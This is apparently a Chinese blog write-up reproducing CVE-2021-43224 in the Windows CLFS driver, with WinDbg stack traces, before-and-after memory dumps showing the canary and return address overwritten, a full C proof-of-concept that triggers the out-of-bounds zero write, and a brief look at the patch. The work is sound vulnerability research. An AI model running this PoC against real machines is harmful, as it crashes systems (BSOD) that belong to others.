CVE-2021-43224 漏洞复现

环境

虚拟机:Win10 1903 18362.30
物理机:Win10
debugger:windbg preview
compiler:vs2022

环境我就直接使用的,Win10 1903

漏洞分析

我调试漏洞的时候,用了三个clfs.sysWin10 1903上的2019.03.19clfs.sys,和两个MSRC上下载的win8.1patch前后的2021.09.182021.11.16clfs.sys(其中win8.1clfs.sys并不能获取其pdb

我在调试该漏洞时,直接使用了该POC,先跑了一次,发现其crash的地方为CClfsLogFcbVirtual::QueryLogFileInfo,在该处下断点,发现当出现下述的调用链时,会发生crash,或者说在POC的最后一次system("pause")之后的CClfsLogFcbVirtual::QueryLogFileInfo就会crash

0: kd> kb
 # RetAddr               : Args to Child                                                           : Call Site
00 fffff804`2b3817fd     : 00000000`00000002 ffffbb84`d1efbe00 ffffbb84`d04ed480 00000000`00000000 : CLFS!CClfsLogFcbVirtual::QueryLogFileInfo
01 fffff804`2b36508b     : ffffbb84`d04ed480 00000000`00000110 ffffbb84`d3a33d30 ffffbb84`ce0a0600 : CLFS!CClfsRequest::LogFileInfo+0x149
02 fffff804`2b364e37     : ffffbb84`d04ed480 00007ffd`60c43380 ffffbb84`ceb07d80 ffff9480`00293b42 : CLFS!CClfsRequest::Dispatch+0xb7
03 fffff804`2b364d87     : ffffbb84`d1efbe00 ffffbb84`d1efbe00 00000000`00000001 00000000`00000000 : CLFS!ClfsDispatchIoRequest+0x87
04 fffff804`2a4ddda9     : ffffbb84`d1efbe00 00000000`00000001 00000000`00000001 00000000`0000020c : CLFS!CClfsDriver::LogIoDispatch+0x27
05 fffff804`2aacbdd5     : ffffcf04`d196bb80 ffffbb84`d1efbe00 00000000`00000001 ffffbb84`d3a33d30 : nt!IofCallDriver+0x59
06 fffff804`2aacb72a     : ffffbb84`d1efbe00 ffffcf04`d196bb80 00000000`80076818 ffffcf04`d196bb80 : nt!IopSynchronousServiceTail+0x1a5
07 fffff804`2aacb146     : 00007ffd`60c43380 00000000`00000000 00000000`00000000 00000000`00000000 : nt!IopXxxControlFile+0x5ca
08 fffff804`2a683e95     : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : nt!NtDeviceIoControlFile+0x56
09 00007ffd`6765c144     : 00007ffd`653f57b7 00000000`00000000 00000000`00000100 00000197`00000001 : nt!KiSystemServiceCopyEnd+0x25
0a 00007ffd`653f57b7     : 00000000`00000000 00000000`00000100 00000197`00000001 00000000`00000003 : ntdll!NtDeviceIoControlFile+0x14
0b 00000000`00000000     : 00000000`00000100 00000197`00000001 00000000`00000003 00000093`bdcff9a0 : 0x00007ffd`653f57b7

其漏洞原因也很简单,如下图所示,其漏洞为,在间接调用时,调用CClfsLogFcbPhysical::QueryLogFileInfo时,会对于该参数进行memset(src, 0, *a7)的操作,而*a7就是我们输入size大小,而src的大小为0x78,因此就会造成越界写零

CClfsLogFcbVirtual::QueryLogFileInfo

CClfsLogFcbPhysical::QueryLogFileInfo

调用CClfsLogFcbPhysical::QueryLogFileInfo之前的CClfsLogFcbVirtual::QueryLogFileInfo的栈帧如下

    CLFS!CClfsLogFcbVirtual::QueryLogFileInfo:
fffff807`05759070 4053             push    rbx
fffff807`05759072 56               push    rsi
fffff807`05759073 57               push    rdi
fffff807`05759074 4154             push    r12
fffff807`05759076 4155             push    r13
fffff807`05759078 4156             push    r14
fffff807`0575907a 4157             push    r15
fffff807`0575907c 4881ecf0000000   sub     rsp, 0F0h
fffff807`05759083 488b05a63fffff   mov     rax, qword ptr [CLFS!__security_cookie (fffff8070574d030)]
fffff807`0575908a 4833c4           xor     rax, rsp
fffff807`0575908d 48898424e0000000 mov     qword ptr [rsp+0E0h], rax
1: kd> dq rsp rsp+0x128
fffff986`f0d95570  00000000`00000000 00000000`00000000
fffff986`f0d95580  00000000`00000000 00000000`00000000
fffff986`f0d95590  00000000`00000000 00000000`00000000
fffff986`f0d955a0  00000000`00000000 00000000`00000000
fffff986`f0d955b0  00000000`00000000 00000000`00000000
fffff986`f0d955c0  00000000`00000000 00000000`00000000
fffff986`f0d955d0  00000000`00000000 00000000`00000000
fffff986`f0d955e0  00000000`00000000 00000000`00000000
fffff986`f0d955f0  00000000`00000000 00000000`00000000
fffff986`f0d95600  00000000`00000001 fffff807`048e3b07
fffff986`f0d95610  ffff8687`0795ba58 00000000`00000000
fffff986`f0d95620  00000000`00000000 00000000`00000002
fffff986`f0d95630  00000000`00000000 fffff807`0575907c
fffff986`f0d95640  00000000`00000010 00000000`00040301
fffff986`f0d95650  fffff986`f0d95660 00000000`00000018
fffff986`f0d95660  ffff8687`047d1c01 ffff8687`06b70c70   <= ffff8687`047d1c01 canary
fffff986`f0d95670  00000000`00000001 00000000`00000000
fffff986`f0d95680  ffff8687`02f39a80 ffff8687`06b70b00
fffff986`f0d95690  00000000`00000000 fffff807`057817fd   <= fffff807`057817fd ret addr
fffff986`f0d956a0  00000000`00000002 ffff8687`06b70b00
fffff986`f0d956b0  ffff8687`02f39a80 00000000`00000000
fffff986`f0d956c0  00000000`00000004 ffff8687`02ca08c0
fffff986`f0d956d0  fffff986`f0d95738 00000000`00000160
fffff986`f0d956e0  00000000`00000001 ffff8687`02ca08c8

调用CClfsLogFcbPhysical::QueryLogFileInfo之后的CClfsLogFcbVirtual::QueryLogFileInfo的栈帧如下,其canaryret addr都被覆盖了

after call CClfsLogFcbPhysical::QueryLogFileInfo
1: kd> dq fffff986`f0d955d0 fffff986`f0d955d0+0x118
fffff986`f0d955d0  00000000`00000000 00000000`00000000
fffff986`f0d955e0  00000000`00000000 00000000`00010000
fffff986`f0d955f0  00000000`00000000 00000000`00000000
fffff986`f0d95600  00000000`00000002 00000200`00009c40
fffff986`f0d95610  00000000`00000000 00000000`00000000
fffff986`f0d95620  00000000`00000000 00000000`00000000
fffff986`f0d95630  ffffffff`00000000 11ed2ea7`221ace71
fffff986`f0d95640  a32f0e59`6c04c9a3 00000000`00000000
fffff986`f0d95650  00000000`00000000 00000000`00000000
fffff986`f0d95660  00000000`00000000 00000000`00000000
fffff986`f0d95670  00000000`00000000 00000000`00000000
fffff986`f0d95680  00000000`00000000 00000000`00000000
fffff986`f0d95690  00000000`00000000 00000000`00000000
fffff986`f0d956a0  00000000`00000000 00000000`00000000
fffff986`f0d956b0  00000000`00000000 00000000`00000000
fffff986`f0d956c0  00000000`00000000 00000000`00000000
fffff986`f0d956d0  00000000`00000000 00000000`00000000
fffff986`f0d956e0  00000000`00000001 ffff8687`02ca08c8

POC

我直接用的这个POC,所以上述调试的时候,0x110就是来自于此,刚好可以覆盖到返回值

#include <Windows.h>
#include <wchar.h>
#include <iostream>
#include <clfsw32.h>
#include <Clfsmgmtw32.h>
#pragma comment(lib, "clfsw32.lib")

int main() {


	wchar_t szLogPath[] = L"LOG:C:\\Users\\Public\\MyLog::Stream1";

	//wchar_t szLogPath[] = L"??\\LOG:\\HarddiskVolume0\\MyLog";

	//wchar_t szLogPath[] = L"LOG:\\\\?\\GLOBALROOT\\Device\\HarddiskVolume0\\Users\\Public\\MysssLog";

	//\\\\?\\GLOBALROOT\\Device\\HarddiskVolume0

	//SECURITY_ATTRIBUTES psaLogFile = {};


	HANDLE   hLog = CreateLogFile(szLogPath, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ, NULL, OPEN_ALWAYS, NULL);

	if (INVALID_HANDLE_VALUE == hLog)
	{
		printf("error=%d\n", GetLastError());

		return 1;
	}

	if (!RegisterManageableLogClient(hLog, 0))
		printf("error=%d\n", GetLastError());


	printf("hLog=%p\n", hLog);

	CLFS_INFORMATION pinfoBuffer = {};


	//ULONG infoSize = sizeof(pinfoBuffer);

	ULONG infoSize = 0x110;

	system("pause");
	DWORD dwRet = GetLogFileInformation(hLog, &pinfoBuffer, &infoSize);



	if (dwRet == NULL)
	{
		printf("error=%d\n", GetLastError());

		return 1;
	}

	printf("dwRet=%08x\n", dwRet);

	return 0;
}

patch

我分析patch的时候,是直接用的2021.09.182021.11.16clfs.sys,可能因为是win8.1的,所以没pdb,直接防止输入的大小大于0x78

patch

该POC的整个流程

后续,看了一下,用户态的接口是如何和内核态的驱动调用联系上的

clfsw32!CreateLogFile -> ntdll!NtCreateFile
clfsw32!RegisterManageableLogClient -> KERNELBASE!DeviceIoControl -> ntdll!NtDeviceIoControlFile
clfsw32!GetLogFileInformation -> KERNELBASE!DeviceIoControl -> ntdll!NtDeviceIoControlFile

总结

整个漏洞不是很复杂,漏洞的危害也只能达到BSOD,不确定间接跳转是否能跳转到其他的地方,还需要继续分析

参考

https://github.com/KaLendsi/CVE-2021-43224-POC


本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!